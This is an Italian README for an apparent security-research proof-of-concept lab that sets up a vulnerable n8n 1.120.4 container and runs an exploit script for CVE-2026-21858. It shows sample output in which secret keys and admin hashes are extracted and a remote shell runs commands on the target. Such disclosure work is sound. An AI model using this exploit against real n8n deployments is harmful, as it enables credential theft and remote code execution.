CVE-2026-21858 RCE

Ambiente PoC per n8n 1.120.4 con un workflow Form Trigger e uno script di exploit.

Requisiti

• Docker (Docker Desktop su Windows)
• Python 3.x (lato attacco)

File

• Dockerfile — build dell'ambiente n8n vulnerabile
• run.bat — avvia il container (Windows)
• workflow.txt — workflow n8n (include Form Trigger)
• poc.py — script PoC
• requirements.txt — dipendenze del PoC

Configurazione dell'ambiente

1. Build dell'immagine Docker

docker build -t n8n-vuln:1.120.4 .

2. Avvio dell'ambiente (Windows)

run.bat

3. Configurazione di n8n

1. Apri n8n nel browser
2. Accedi come admin
3. Crea un nuovo workflow
4. incolla workflow.txt
5. Attiva il workflow
6. Copia l'URL del Form Trigger

Proof of Concept (PoC)

1. Installa le dipendenze (lato attacco)

pip3 install -r requirements.txt

2. Esegui l'exploit

python3 poc.py

• Incolla l'URL del Form Trigger quando richiesto.

Risultato atteso

• Il PoC estrae asset sensibili di n8n (ad es. FINAL_SECRET_KEY, identificatori admin) dal target.
• Viene fornito un prompt di shell interattiva (n8n-shell>).
• L'esecuzione di un comando (ad es. id) restituisce l'output dall'ambiente target (RCE).

Output di esempio

[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."

=== n8n Shell Ready ===
n8n-shell> id

[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

EQST Insight

Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst